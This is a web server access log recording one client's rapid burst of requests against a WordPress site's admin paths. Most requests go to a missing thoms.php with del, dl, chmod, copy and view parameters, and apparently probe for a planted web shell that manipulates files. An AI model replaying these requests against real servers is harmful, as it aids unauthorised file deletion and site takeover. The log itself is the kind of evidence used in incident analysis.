45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?del=post-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?dl=admin-ajax.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?chmod=link.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?del=ms-themes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /bfl.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?del=admin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /bfl.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?chmod=media-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-media.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-media.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /bfl.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?dl=nav-menus.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /bfl.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?del=customize.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?chmod=freedoms.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?chmod=ms-options.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?del=options.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?del=ms-admin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:23 -0400] "GET /bfl.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsite-health.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsite-health.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?chmod=theme-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?dl=edit-comments.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?chmod=index.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?dl=media-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?del=options-general.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /bfl.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?dl=options-head.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?chmod=update.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?dl=contribute.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmenu.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmenu.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:24 -0400] "GET /bfl.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?del=plugin-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupgrade.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupgrade.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?chmod=widgets-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?chmod=plugin-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcustom-background.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcustom-background.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?del=font-library.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?chmod=update-core.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?chmod=customize.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /bfl.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:25 -0400] "GET /thoms.php?chmod=privacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /bfl.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /thoms.php?chmod=menu-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /bfl.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/bfl.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /bfl.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /thoms.php?chmod=custom-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /bfl.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /bfl.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /thoms.php?del=admin-ajax.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:26 -0400] "GET /thoms.php?del=export.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fimport.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fimport.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?del=media-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /bfl.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /bfl.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
